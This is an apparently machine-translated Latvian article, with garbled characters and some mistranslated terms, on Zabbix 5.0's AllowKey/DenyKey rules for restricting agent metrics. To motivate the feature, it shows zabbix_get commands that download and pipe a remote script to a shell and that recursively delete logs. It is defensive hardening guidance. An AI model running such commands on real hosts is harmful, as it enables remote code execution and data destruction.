MelnÄ saraksta un baltÄ saraksta atbalsts aÄ£enta puses metrikÄm
Tihons Uskovs, integrÄcijas inženieris, Zabbix
Datu droŔības jautÄjumi
Zabbix 5.0 ir jauna funkcija, kas ļauj uzlabot droŔību sistÄmÄs, izmantojot Zabbix Agent, un aizstÄj veco parametru IespÄjot RemoteCommands.
Uz aÄ£entiem balstÄ«tu sistÄmu droŔības uzlabojumi izriet no tÄ, ka aÄ£ents var veikt lielu skaitu potenciÄli bÄ«stamu darbÄ«bu.
- AÄ£ents var apkopot gandrÄ«z jebkuru informÄciju, tostarp konfidenciÄlu vai potenciÄli bÄ«stamu informÄciju, no konfigurÄcijas failiem, žurnÄlfailiem, paroļu failiem vai jebkuriem citiem failiem.
PiemÄram, izmantojot utilÄ«tu zabbix_get, varat piekļūt lietotÄju sarakstam, viÅu mÄjas direktorijiem, paroļu failiem utt.
Piekļuve datiem, izmantojot utilītu zabbix_get
PIEZÄŖME. Datus var izgÅ«t tikai tad, ja aÄ£entam ir lasÄ«Å”anas atļaujas attiecÄ«gajÄ failÄ. Bet, piemÄram, fails /etc/passwd/ lasÄms visiem lietotÄjiem.
- AÄ£ents var arÄ« izpildÄ«t potenciÄli bÄ«stamas komandas. PiemÄram, taustiÅÅ” *system.run[]** ļauj izpildÄ«t visas attÄlÄs komandas tÄ«kla mezglos, tostarp palaist skriptus no Zabbix tÄ«mekļa saskarnes, kas arÄ« izpilda komandas aÄ£enta pusÄ.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]
- OperÄtÄjsistÄmÄ Linux aÄ£ents pÄc noklusÄjuma darbojas bez root tiesÄ«bÄm, savukÄrt operÄtÄjsistÄmÄ Windows tas darbojas kÄ pakalpojums kÄ sistÄma un tam ir neierobežota piekļuve failu sistÄmai. AttiecÄ«gi, ja pÄc instalÄÅ”anas Zabbix aÄ£enta parametros netiek veiktas nekÄdas izmaiÅas, aÄ£ents var piekļūt reÄ£istram, failu sistÄmai un var izpildÄ«t WMI vaicÄjumus.
IepriekÅ”ÄjÄs versijÄs parametrs EnableRemoteCommands=0 atļauts tikai atspÄjot metriku ar taustiÅu *system.run[]** un palaist skriptus no tÄ«mekļa saskarnes, taÄu nevarÄja ierobežot piekļuvi atseviŔķiem failiem, atļaut vai atspÄjot atseviŔķas atslÄgas, kas tika instalÄtas kopÄ ar aÄ£entu, vai ierobežot atseviŔķu parametru izmantoÅ”anu.
Parametra EnableRemoteCommand izmantoÅ”ana iepriekÅ”ÄjÄs Zabbix versijÄs
AllowKey/DenyKey
Zabbix 5.0 palÄ«dz aizsargÄt pret Å”Ädu nesankcionÄtu piekļuvi, nodroÅ”inot baltos un melnos sarakstus, lai aÄ£enta pusÄ atļautu un liegtu metriku.
Zabbix 5.0 visi taustiÅi, ieskaitot *system.run[]** ir iespÄjoti, un ir pievienotas divas jaunas aÄ£enta konfigurÄcijas opcijas:
AllowKey= ā atļautÄs pÄrbaudes;
DenyKey = ā aizliegtas pÄrbaudes;
kur ir atslÄgas nosaukuma modelis ar parametriem, kas izmanto metarakstzÄ«mes (*).
AtslÄgas AllowKey un DenyKey ļauj atļaut vai liegt atseviŔķu metriku, pamatojoties uz noteiktu modeli. AtŔķirÄ«bÄ no citiem konfigurÄcijas parametriem AllowKey/DenyKey parametru skaits nav ierobežots. Tas ļauj skaidri definÄt, ko tieÅ”i aÄ£ents var darÄ«t sistÄmÄ, izveidojot Äeku koku ā izpildÄmÄs atslÄgas, kur to rakstÄ«Å”anas secÄ«bai ir ļoti liela nozÄ«me.
Noteikumu secība
Noteikumi tiek pÄrbaudÄ«ti tÄdÄ secÄ«bÄ, kÄdÄ tie ir ievadÄ«ti konfigurÄcijas failÄ. AtslÄga tiek pÄrbaudÄ«ta saskaÅÄ ar noteikumiem pirms pirmÄs atbilstÄ«bas, un, tiklÄ«dz datu elementa atslÄga atbilst paraugam, tÄ tiek atļauta vai liegta. PÄc tam noteikumu pÄrbaude tiek pÄrtraukta un atlikuÅ”Äs atslÄgas tiek ignorÄtas.
TÄpÄc, ja elements atbilst gan atļauÅ”anas, gan aizlieguma kÄrtulai, rezultÄts bÅ«s atkarÄ«gs no tÄ, kura noteikuma konfigurÄcijas failÄ ir pirmÄ.
2 dažÄdi noteikumi ar vienu un to paÅ”u rakstu un atslÄgu vfs.file.size[/tmp/file]
AllowKey/DenyKey taustiÅu izmantoÅ”anas secÄ«ba:
- precīzi noteikumi,
- vispÄrÄ«gie noteikumi,
- aizliedzoŔs noteikums.
PiemÄram, ja jums ir nepiecieÅ”ama piekļuve failiem noteiktÄ mapÄ, vispirms ir jÄatļauj tiem piekļūt un pÄc tam jÄaizliedz viss pÄrÄjais, kas neietilpst noteikto atļauju ietvaros. Ja vispirms tiek izmantots aizlieguma noteikums, piekļuve mapei tiks liegta.
Pareiza secība
Ja jums ir jÄļauj darboties 2 utilÄ«tiem, izmantojot *system.run[]**, un vispirms tiks norÄdÄ«ts aizlieguma noteikums, utilÄ«tas netiks palaistas, jo pirmais modelis vienmÄr atbildÄ«s jebkurai atslÄgai, un turpmÄkie noteikumi tiks ignorÄti.
Nepareiza secība
Raksti
Pamatnoteikumi
Raksts ir izteiksme ar aizstÄjÄjzÄ«mÄm. MetarakstzÄ«me (*) atbilst jebkuram skaitam rakstzÄ«mju noteiktÄ vietÄ. MetarakstzÄ«mes var izmantot gan atslÄgas nosaukumÄ, gan parametros. PiemÄram, jÅ«s varat stingri definÄt pirmo parametru ar tekstu, un norÄdiet nÄkamo kÄ aizstÄjÄjzÄ«mi.
Parametri jÄiekļauj kvadrÄtiekavÄs [].
system.run[*
- nepareizivfs.file*.txt]
- nepareizivfs.file.*[*]
- taisnība
AizstÄjÄjzÄ«mju izmantoÅ”anas piemÄri.
- AtslÄgas nosaukumÄ un parametrÄ. Å ajÄ gadÄ«jumÄ atslÄga neatbilst lÄ«dzÄ«gai atslÄgai, kas nesatur parametru, jo modelÄ« mÄs norÄdÄ«jÄm, ka vÄlamies saÅemt noteiktu atslÄgas nosaukuma beigas un noteiktu parametru kopu.
- Ja shÄmÄ netiek izmantotas kvadrÄtiekavas, modelis atļauj visus taustiÅus, kas nesatur parametrus, un liedz visus taustiÅus, kas satur norÄdÄ«to parametru.
- Ja atslÄga ir ierakstÄ«ta pilnÄ«bÄ un parametri ir norÄdÄ«ti kÄ aizstÄjÄjzÄ«me, tÄ sakritÄ«s ar jebkuru lÄ«dzÄ«gu taustiÅu ar jebkÄdiem parametriem un nesakritÄ«s ar taustiÅu bez kvadrÄtiekavÄm, t.i., tÄ tiks atļauta vai aizliegta.
Parametru aizpildīŔanas noteikumi.
- Ja ir paredzÄts izmantot atslÄgu ar parametriem, parametri ir jÄnorÄda konfigurÄcijas failÄ. Parametri ir jÄnorÄda kÄ metarakstzÄ«me. Ir rÅ«pÄ«gi jÄliedz piekļuve jebkuram failam un jÄÅem vÄrÄ, kÄdu informÄciju metrika var sniegt dažÄdos rakstÄ«bÄs - ar un bez parametriem.
RakstÄ«Å”anas taustiÅu ar parametriem iezÄ«mes
- Ja atslÄga ir norÄdÄ«ta ar parametriem, bet parametri nav obligÄti un norÄdÄ«ti kÄ metaraksts, atslÄga bez parametriem tiks atrisinÄta. PiemÄram, ja vÄlaties atspÄjot informÄcijas saÅemÅ”anu par CPU slodzi un norÄdÄ«t, ka ir jÄatspÄjo atslÄga system.cpu.load[*], neaizmirstiet, ka atslÄga bez parametriem atgriezÄ«s vidÄjo slodzes vÄrtÄ«bu.
Parametru aizpildīŔanas noteikumi
Piezīmes
koriÄ£ÄÅ”ana
- LietotÄjs nevar mainÄ«t dažus noteikumus, piemÄram, atklÄÅ”anas kÄrtulas vai aÄ£enta automÄtiskÄs reÄ£istrÄcijas noteikumus. AllowKey/DenyKey kÄrtulas neietekmÄ Å”Ädus parametrus:
- HostnameItem
- HostMetadataItem
- HostInterfaceItem
PIEZÄŖME. Ja administrators atspÄjo atslÄgu, pÄc pieprasÄ«juma Zabbix nesniedz informÄciju par to, kÄpÄc metrika vai atslÄga ietilpst kategorijÄ "NAV ATBALSTÄŖTS'. AÄ£enta žurnÄlfailos netiek parÄdÄ«ta arÄ« informÄcija par attÄlo komandu izpildes aizliegumiem. Tas ir droŔības apsvÄrumu dÄļ, taÄu tas var sarežģīt atkļūdoÅ”anu, ja metrika kÄda iemesla dÄļ ietilpst neatbalstÄ«tÄ kategorijÄ..
- ÄrÄjo konfigurÄcijas failu savienoÅ”anai nevajadzÄtu paļauties uz kÄdu konkrÄtu secÄ«bu (piemÄram, alfabÄtiskÄ secÄ«bÄ).
Komandrindas utilītas
PÄc noteikumu iestatÄ«Å”anas jums jÄpÄrliecinÄs, vai viss ir pareizi konfigurÄts.
Varat izmantot vienu no trim iespÄjÄm:
- Pievienojiet metriku Zabbix.
- PÄrbaudi ar zabbix_agentd. Zabbix aÄ£ents ar opciju -drukÄt (-p) parÄda visas atslÄgas (kas ir atļautas pÄc noklusÄjuma), izÅemot tÄs, kuras konfigurÄcija neatļauj. Un ar opciju -pÄrbaude (-t) par aizliegtu atslÄgu atgriezÄ«sies 'NeatbalstÄ«ta vienuma atslÄga".
- PÄrbaudi ar zabbix_get. LietderÄ«ba zabbix_get ar opciju -k atgriezÄ«sies 'ZBX_NOTSUPPORTED: nezinÄma metrika".
Atļaut vai aizliegt
Varat liegt piekļuvi failam un pÄrbaudÄ«t, piemÄram, izmantojot utilÄ«tu zabbix_getka piekļuve failam ir liegta.
**
PIEZÄŖME. PÄdiÅas parametrÄ tiek ignorÄtas.
Å ÄdÄ gadÄ«jumÄ piekļuvi Å”Ädam failam var atļaut, izmantojot citu ceļu. PiemÄram, ja uz to ved simboliskÄ saite.
Ieteicams pÄrbaudÄ«t dažÄdas norÄdÄ«to noteikumu piemÄroÅ”anas iespÄjas, kÄ arÄ« Åemt vÄrÄ aizliegumu apieÅ”anas iespÄjas.
JautÄjumi un atbildes
jautÄjums. KÄpÄc noteikumu, atļauju un aizliegumu aprakstÄ«Å”anai tika izvÄlÄts tik sarežģīts modelis ar savu valodu? KÄpÄc nebija iespÄjams izmantot, piemÄram, regulÄrÄs izteiksmes, ko izmanto Zabbix?
atbilde. Å Ä« ir regulÄrÄs izteiksmes veiktspÄjas problÄma, jo parasti ir tikai viens aÄ£ents un tas pÄrbauda lielu skaitu metrikas. Regex ir diezgan smaga darbÄ«ba, un Å”ÄdÄ veidÄ mÄs nevaram pÄrbaudÄ«t tÅ«kstoÅ”iem metrikas. AizstÄjÄjzÄ«mes ā universÄls, plaÅ”i izmantots un vienkÄrÅ”s risinÄjums.
jautÄjums. Vai iekļauÅ”anas faili nav iekļauti alfabÄtiskÄ secÄ«bÄ?
atbilde. Cik man zinÄms, ir praktiski neiespÄjami paredzÄt, kÄdÄ secÄ«bÄ noteikumi tiks piemÄroti, ja noteikumus sadalÄ«sit dažÄdos failos. Es iesaku apkopot visus AllowKey/DenyKey noteikumus vienÄ Include failÄ, jo tie mijiedarbojas savÄ starpÄ un iekļaut Å”o failu.
jautÄjums. ProgrammÄ Zabbix 5.0 opcija "EnableRemoteCommands=' trÅ«kst konfigurÄcijas failÄ, un ir pieejami tikai AllowKey/DenyKey?
Atbilde. JÄ, tieÅ”i tÄ.
Š”ŠæŠ°ŃŠøŠ±Š¾ Š·Š° Š²Š½ŠøŠ¼Š°Š½ŠøŠµ!
Avots: www.habr.com